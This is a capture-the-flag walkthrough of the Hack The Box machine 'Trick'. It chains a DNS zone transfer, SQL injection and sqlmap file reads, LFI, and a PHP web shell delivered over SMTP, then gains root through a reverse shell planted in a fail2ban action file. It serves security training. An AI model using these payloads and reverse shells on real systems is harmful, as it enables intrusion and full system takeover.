Machine Information: Trick is an Easy Linux machine that features a DNS server and multiple vHosts that all require multiple steps to gain a foothold. It requires basic knowledge of DNS in order to get a domain name and a zone transfer to get the first vHost. The vHost is vulnerable to SQL Injection that can be used to read files from the maching using sqlmap. Reading files leads to another vHost that is vulnerable to LFI. SMTP service is used to upload a PHP shell and get a foothold. The path to root involves using the fail2ban service to get root access.

Lets dive into the box. I will scan the accessible services using nmap.

Nmap

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ nmap 10.129.187.236 -v -p- -oN nmap/ports_ --min-rate 10000

Nmap scan report for 10.129.187.236
Host is up (0.97s latency).
Not shown: 59204 filtered tcp ports (no-response), 6327 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
25/tcp open  smtp
53/tcp open  domain
80/tcp open  http
┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ nmap 10.129.187.236 -v -p 22,25,53,80 -A -oN nmap/service_ --min-rate 10000

Nmap scan report for 10.129.187.236
Host is up (0.043s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61:ff:29:3b:36:bd:9d:ac:fb:de:1f:56:88:4c:ae:2d (RSA)
|   256 9e:cd:f2:40:61:96:ea:21:a6:ce:26:02:af:75:9a:78 (ECDSA)
|_  256 72:93:f9:11:58:de:34:ad:12:b5:4b:4a:73:64:b9:70 (ED25519)
25/tcp open  smtp?
|_smtp-commands: debian.localdomain, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN, SMTPUTF8, CHUNKING
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-favicon: Unknown favicon MD5: 556F31ACD686989B1AFCF382C05846AA
| http-methods: 
|_  Supported Methods: GET HEAD
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose|router
Running: Linux 4.X|5.X, MikroTik RouterOS 7.X

The machine has SSH, HTTP, SMTP, and DNS services exposed. The most common way to compromise a machine is through a vulnerable application, so I always like to start with the HTTP service. Accessing the website reveals a static page that makes no requests.

Initial Web Enumeration

Static-Web-Page

As the page is a static website, lets do vhost and directory fuzzing to see what we have access to.

Virtual Host Fuzzing

┌──(kali㉿kali)-[~/Downloads/HTB//Trick]
└─$ ffuf -w /usr/share/wordlists/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt -u http://trick.htb:80/ -H 'Host: FUZZ.trick.htb' -fs 5480 
________________________________________________

 :: Method           : GET
 :: URL              : http://trick.htb:80/
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/SecLists-master/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.trick.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 5480
________________________________________________

:: Progress: [19966/19966] :: Job [1/1] :: 29 req/sec :: Duration: [0:02:41] :: Errors: 0 ::

No virtual host is found through the scan.

Directory Fuzzing

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ ffuf -w /usr/share/wordlists/seclists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt -u http://trick.htb:80/FUZZ 


 :: Method           : GET
 :: URL              : http://trick.htb:80/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/SecLists-master/Discovery/Web-Content/directory-list-2.3-medium.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

#                       [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 573ms]
# license, visit http://creativecommons.org/licenses/by-sa/3.0/ [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 593ms]
assets                  [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 291ms]
css                     [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 3599ms]
js                      [Status: 301, Size: 185, Words: 6, Lines: 8, Duration: 214ms]
                        [Status: 200, Size: 5480, Words: 1697, Lines: 84, Duration: 44ms]

Although I found three directories, none of them are interesting and they contain only files related to the website. While enumerating the site, it asks for an email to receive an update once the service is live. The website uses JavaScript to handle this logic, and no backend request is sent.

Submitting Email

DNS Enumeration

The first thing I did was to do a reverse lookup to get the name of the domain.

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ dig @10.129.187.236 -x 10.129.187.236 

; <<>> DiG 9.20.11-4+b1-Debian <<>> @10.129.187.236 -x 10.129.187.236
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 275
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 10b8851e29a00ca376368be568eb7a23ba3cb91a45e4c4c1 (good)
;; QUESTION SECTION:
;236.187.129.10.in-addr.arpa.   IN      PTR

;; ANSWER SECTION:
236.187.129.10.in-addr.arpa. 604800 IN  PTR     trick.htb.

;; AUTHORITY SECTION:
187.129.10.in-addr.arpa. 604800 IN      NS      trick.htb.

;; ADDITIONAL SECTION:
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1

;; Query time: 43 msec
;; SERVER: 10.129.187.236#53(10.129.187.236) (UDP)
;; WHEN: Sun Oct 12 11:51:32 CEST 2025
;; MSG SIZE  rcvd: 165

This returns the domain trick.htb. Added the domain to our hosts file. Next, attempted to do a zone transfer as it can reveal new subdomains.

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ dig @10.129.187.236 axfr trick.htb

; <<>> DiG 9.20.11-4+b1-Debian <<>> @10.129.187.236 axfr trick.htb
; (1 server found)
;; global options: +cmd
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.              604800  IN      NS      trick.htb.
trick.htb.              604800  IN      A       127.0.0.1
trick.htb.              604800  IN      AAAA    ::1
preprod-payroll.trick.htb. 604800 IN    CNAME   trick.htb.
trick.htb.              604800  IN      SOA     trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
;; Query time: 36 msec
;; SERVER: 10.129.187.236#53(10.129.187.236) (TCP)
;; WHEN: Sun Oct 12 11:50:37 CEST 2025
;; XFR size: 6 records (messages 1, bytes 231)

The zone transfer revealed a subdomain preprod-payroll.trick.htb. I added it to my hosts file. Lets access it on the browser.

Preprod-payroll Web Enumeration

The website displays a login page. LoginPage

SQL Injection

I attempted to bypass login by passing a common payload ' or '1'='1 and was able to login as Administrator on the machine.

payload

BypassingloginasAdmin

Enumerating the website after login showed details regarding an employee. It also gave a username for Administrator. This might be helpful later on or atleast it can helpful for username verification using SMTP. John

Admin_username

I did username verification using SMTP VRFY method to confirm if these users exist, but no such user existed. If it did, I would have tried bruteforcing ssh service as the last resort. However, as it returned invalid, I did not attempted brute forcing ssh.

Next, I did subdomain and directory fuzzing on this subdomain and found nothing useful. Also, I tried fuzzing the page parameter to check if any new pages can be accessed that are not intended. No new pages were found apart from the ones already exposed to us.

                                                                                                                                                                                             
┌──(kali㉿kali)-[~/Downloads/HTB//Trick]
└─$ ffuf -w /usr/share/wordlists/seclists/SecLists-master/Discovery/Web-Content/raft-medium-directories-lowercase.txt -u http://preprod-payroll.trick.htb/index.php?page=FUZZ -ic -fl 241   


login                   [Status: 302, Size: 14636, Words: 1647, Lines: 417, Duration: 102ms]
home                    [Status: 302, Size: 9550, Words: 1453, Lines: 267, Duration: 106ms]
users                   [Status: 302, Size: 11262, Words: 1376, Lines: 321, Duration: 107ms]
header                  [Status: 302, Size: 11614, Words: 1418, Lines: 286, Duration: 90ms]
employee                [Status: 302, Size: 11785, Words: 1347, Lines: 336, Duration: 188ms]
index                   [Status: 302, Size: 3074993, Words: 227467, Lines: 71716, Duration: 116ms]
navbar                  [Status: 302, Size: 10454, Words: 1341, Lines: 264, Duration: 52ms]
department              [Status: 302, Size: 13914, Words: 1517, Lines: 419, Duration: 90ms]
payroll                 [Status: 302, Size: 12209, Words: 1359, Lines: 351, Duration: 98ms]
position                [Status: 302, Size: 14617, Words: 1533, Lines: 436, Duration: 51ms]
topbar                  [Status: 302, Size: 9651, Words: 1346, Lines: 260, Duration: 74ms]
:: Progress: [26584/26584] :: Job [1/1] :: 643 req/sec :: Duration: [0:00:56] :: Errors: 2 ::

Viewing the source code of the page, the logic to redirect after a successful login attempt is coded through javascript. If the response is equal to 1, it logins as an administrator to the website. If the reponse is 2, it redirects to voting.php.

sourcecode

Changing the response through Burp returned 404 as it redirected to voting.php.

alt text

alt text

Using SQLMap for Enumeration

As the website is vulnerable to SQL injection, we can enumerate database manually or use SQLMap to dump the databae. Dumping the database reveals the Administrator credentials but it is not useful as we can already bypass login. SQLMap can also be used to check what the current user for the database and their privileges. I saved the login request in a file and ran sqlmap to check for sql injection.

┌──(kali㉿kali)-[~/Downloads/HTB//Trick]
└─$ sqlmap -r login_req.txt --level=5 --risk=3 --random-agent

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/log 
sqlmap identified the following injection point(s) with a total of 1322 HTTP(s) requests:
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=test' OR NOT 5623=5623-- bwjx&password=test

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=test' OR (SELECT 3406 FROM(SELECT COUNT(*),CONCAT(0x71716b7871,(SELECT (ELT(3406=3406,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- XWKV&password=test

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test' AND (SELECT 6221 FROM (SELECT(SLEEP(5)))UAkY)-- quQA&password=test

Parameter: password (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=test&password=test' OR NOT 7591=7591-- Qcqq

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=test&password=test' OR (SELECT 4359 FROM(SELECT COUNT(*),CONCAT(0x71716b7871,(SELECT (ELT(4359=4359,1))),0x7170767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- YTTG

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=test&password=test' AND (SELECT 6061 FROM (SELECT(SLEEP(5)))YQtd)-- jiaW
---
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ sqlmap -r login_req.txt --level=5 --risk=3 --random-agent --current-user --privileges

....SNIP....

[05:09:41] [INFO] the back-end DBMS is MySQL
web application technology: Nginx 1.14.2
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[05:09:41] [INFO] fetching current user
[05:09:41] [INFO] resumed: 'remo@localhost'
current user: 'remo@localhost'
[05:09:41] [INFO] fetching database users privileges
[05:09:41] [INFO] retrieved: ''remo'@'localhost''
[05:09:41] [INFO] retrieved: 'FILE'
database management system users privileges:
[] 'remo'@'localhost' [1]:
privilege: FILE

[05:09:41] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'

[] ending @ 05:09:41 /2025-10-13/

Going through the privileges, it shows that we db user remo has FILE privilege to read system files. We can confirm this by providing a file parameter in sqlmap. Lets read /etc/passwd file.

sqlmap -r login_req.txt --level=5 --risk=3 --random-agent --file-read=/etc/passwd


[05:14:13] [INFO] retrieved: '2351'
[05:14:13] [INFO] the local file '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd' and the remote file '/etc/passwd' have the same size (2351 B)
files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd (same file)

[05:14:13] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'

[*] ending @ 05:14:13 /2025-10-13/
┌──(kali㉿kali)-[~/Downloads/HTB//Trick]
└─$ cat /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
....SNIP.......
michael:x:1001:1001::/home/michael:/bin/bash

We can read the files on the system. They also show which users can get a shell on the machine: root and michael. As a next step, I looked at the nginx configuration files and found the default configuration for the websites hosted on the machine.

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ sqlmap -r login_req.txt --level=5 --risk=3 --random-agent --file-read=/etc/nginx/sites-enabled/default

files saved to [1]:
[*] /home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb/files/_etc_nginx_sites-enabled_default (same file)

[05:19:05] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/preprod-payroll.trick.htb'

[*] ending @ 05:19:05 /2025-10-13/
┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ cat _etc_nginx_sites-enabled_default

server {
        listen 80 default_server;
        listen [::]:80 default_server;
        server_name trick.htb;
        .....SNIP.............
}


server {
        listen 80;
        listen [::]:80;

        server_name preprod-marketing.trick.htb;

        root /var/www/market;
        index index.php;

        location / {
                try_files $uri $uri/ =404;
        }

        location ~ \.php$ {
                include snippets/fastcgi-php.conf;
                fastcgi_pass unix:/run/php/php7.3-fpm-michael.sock;
        }
}

server {
        listen 80;
        listen [::]:80;

        server_name preprod-payroll.trick.htb;

        ...........SNIP.....................
}

This file revealed all the subdomains running on this machine. We have another subdomain preprod-marketing.trick.htb that is running on port 80. Lets add it to our /etc/hosts and access the website.

Preprod-marketing Web Enumeration

This is another PHP website. alt text

While enumerating the website, the page parameter loads files from the machine. We can use this to access local files. Testing the request in Burp Suite showed we can retrieve system files, though we needed to bypass usual local-file-inclusion protections by adding extra slashes and dots.

alt text

We can read the /etc/passwd using this technique. alt text

Initial Foothold using SMTP

We can access files on the machine, but how can we upload a shell so we can execute it via this local file inclusion vulnerability? This is the most interesting part of the box. We also have SMTP open on the machine. What if we upload a PHP shell by emailing it to michael and then include that mail file using the LFI?

To send an email to michael, I passed a basic PHP shell to allow me to run commands. It is as follows:

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ nc trick.htb 25
220 debian.localdomain ESMTP Postfix (Debian/GNU)
helo x
250 debian.localdomain
MAIL FROM:testing
250 2.1.0 Ok
RCPT TO:michael
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
<?php system($_REQUEST['cmd']);?>
.
250 2.0.0 Ok: queued as BFD834099C
quit
221 2.0.0 Bye

Next, I started a listener on port 4443 and ran a netcat command to connect back to my machine. Lets call the michael’s mail file to get a reverse shell.

alt text

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ nc -nvlp 4443  
listening on [any] 4443 ...
connect to [10.10.14.153] from (UNKNOWN) [10.129.136.199] 60612

id
uid=1001(michael) gid=1001(michael) groups=1001(michael),1002(security)

script /dev/null -qc /bin/bash
michael@trick:/var/www/market$ ^Z
zsh: suspended  nc -nvlp 4443

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ stty raw -echo; fg
[1]  + continued  nc -nvlp 4443

michael@trick:/var/www/market$ 

Michael has access to the user flag.

michael@trick:/var/www/market$ ls -la /home/michael/
total 80
drwxr-xr-x 15 michael michael 4096 May 25  2022 .
drwxr-xr-x  3 root    root    4096 May 25  2022 ..
-rw-------  1 michael michael 1256 May 25  2022 .ICEauthority
lrwxrwxrwx  1 root    root       9 Apr 22  2022 .bash_history -> /dev/null
-rw-r--r--  1 michael michael  220 Apr 18  2019 .bash_logout
-rw-r--r--  1 michael michael 3526 Apr 18  2019 .bashrc
drwx------  9 michael michael 4096 May 11  2022 .cache
drwx------ 10 michael michael 4096 May 11  2022 .config
drwx------  3 michael michael 4096 May 11  2022 .gnupg
drwx------  3 michael michael 4096 May 11  2022 .local
-rw-r--r--  1 michael michael  807 Apr 18  2019 .profile
drwx------  2 michael michael 4096 May 24  2022 .ssh
drwxr-xr-x  2 michael michael 4096 May 11  2022 Desktop
drwxr-xr-x  2 michael michael 4096 May 11  2022 Documents
drwxr-xr-x  2 michael michael 4096 May 11  2022 Downloads
drwxr-xr-x  2 michael michael 4096 May 11  2022 Music
drwxr-xr-x  2 michael michael 4096 May 11  2022 Pictures
drwxr-xr-x  2 michael michael 4096 May 11  2022 Public
drwxr-xr-x  2 michael michael 4096 May 11  2022 Templates
drwxr-xr-x  2 michael michael 4096 May 11  2022 Videos
-rw-r-----  1 root    michael   33 Oct 13 01:27 user.txt

After reading the user flag, I copied the id_rsa file of Michael user and connected through SSH.

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ ssh michael@trick.htb -i id_rsa                                                                
Linux trick 4.19.0-20-amd64 #1 SMP Debian 4.19.235-1 (2022-03-17) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
michael@trick:~$ 

Path to Root

The Michael user can run restart the fail2ban service as root.

michael@trick:/home$ sudo -l
Matching Defaults entries for michael on trick:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User michael may run the following commands on trick:
    (root) NOPASSWD: /etc/init.d/fail2ban restart

This service is responsible for banning IPs in case of unauthorized access. If we make multiple invalid attempts, the service may perform an action. As it is running as root and we can restart the service, we can specify a path to a reverse shell that will execute when that action is triggered. This will only work if we have access to the configuration files. Let’s see which files our group can access.

michael@trick:~$ find / -group security 2>/dev/null
/etc/fail2ban/action.d

There’s only one folder, and it’s fail2ban related. Security group has full control over the folder.

michael@trick:~$ find / -group security 2>/dev/null
/etc/fail2ban/action.d

The directory has a lot of files.

michael@trick:~$ ls /etc/fail2ban/action.d/
abuseipdb.conf     cloudflare.conf            firewallcmd-ipset.conf         hostsdeny.conf          iptables-ipset-proto4.conf           iptables-xt_recent-echo.conf  mynetwatchman.conf       npf.conf        sendmail-buffered.conf             sendmail-whois-ipmatches.conf  symbiosis-blacklist-allports.conf
apf.conf           complain.conf              firewallcmd-multiport.conf     ipfilter.conf           iptables-ipset-proto6-allports.conf  mail-buffered.conf            netscaler.conf           nsupdate.conf   sendmail-common.conf               sendmail-whois-lines.conf      ufw.conf
badips.conf        dshield.conf               firewallcmd-new.conf           ipfw.conf               iptables-ipset-proto6.conf           mail.conf                     nftables-allports.conf   osx-afctl.conf  sendmail.conf                      sendmail-whois-matches.conf    xarf-login-attack.conf
badips.py          dummy.conf                 firewallcmd-rich-logging.conf  iptables-allports.conf  iptables-multiport.conf              mail-whois-common.conf        nftables-common.conf     osx-ipfw.conf   sendmail-geoip-lines.conf          shorewall.conf
blocklist_de.conf  firewallcmd-allports.conf  firewallcmd-rich-rules.conf    iptables-common.conf    iptables-multiport-log.conf          mail-whois.conf               nftables-multiport.conf  pf.conf         sendmail-whois.conf                shorewall-ipset-proto6.conf
bsd-ipfw.conf      firewallcmd-common.conf    helpers-common.conf            iptables.conf           iptables-new.conf                    mail-whois-lines.conf         nginx-block-map.conf     route.conf      sendmail-whois-ipjailmatches.conf  smtp.py

Looking in /etc/fail2ban/jail.conf, there’s a sshd section:

[DEFAULT]
...[SNIP]...
# "bantime" is the number of seconds that a host is banned.
bantime  = 10s

...[SNIP]...
banaction = iptables-multiport
banaction_allports = iptables-allports
...[SNIP]...

As this file is owned by root and we have full control over the directory, we can replace the file with our modified file. At first, I created a shell.sh in the tmp directory that connects to my machine when triggered.

michael@trick:/tmp$ echo '#!/bin/bash' > shell.sh
michael@trick:/tmp$ echo 'bash -i >& /dev/tcp/ip_here/9001 0>&1' >> shell.sh
michael@trick:/tmp$ chmod +x /tmp/shell.sh
michael@trick:/tmp$ cat shell.sh
#!/bin/bash
bash -i >& /dev/tcp/ip_here/9001 0>&1

Now I want this file to run whenever the service is triggered. Reading the ip-tables-multiport.conf, we can specify the path of our reverse shell in the /tmp directory. Before we can modify this file, we need to rename it and place it in the writable directory so we can write to it.

mv iptables-multiport.conf .old
cp .old iptables-multiport.conf
ls -l iptables-multiport.conf
michael@trick:/tmp$ cat iptables-multiport.conf
# Fail2Ban configuration file
#
........[SNIP].....................

# Option:  actionban
# Notes.:  command executed when banning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionban = /tmp/shell.sh

# Option:  actionunban
# Notes.:  command executed when unbanning an IP. Take care that the
#          command is executed with Fail2Ban user rights.
# Tags:    See jail.conf(5) man page
# Values:  CMD
#
actionunban = <iptables> -n -L <chain> | grep -q 'f2b-<name>[ \t]'

For changes to take effect, we need to restart the service. Also, start a reverse shell on your machine on the specified port.

michael@trick:/etc/fail2ban/action.d$ sudo /etc/init.d/fail2ban restart
[ ok ] Restarting fail2ban (via systemctl): fail2ban.service.

To trigger this action, we need to attempt a SSH connection multiple times with invalid credentials. It worked for me after 5 invalid attempts. Finally, I got the reverse shell.

┌──(kali㉿kali)-[~/Downloads/HTB/Trick]
└─$ nc -nvlp 9001
listening on [any] 9001 ...
connect to [10.10.14.153] from (UNKNOWN) [10.129.136.199] 40034
bash: cannot set terminal process group (4295): Inappropriate ioctl for device
bash: no job control in this shell
root@trick:/# id
id
uid=0(root) gid=0(root) groups=0(root)

Now you own the machine. You can grab the root flag!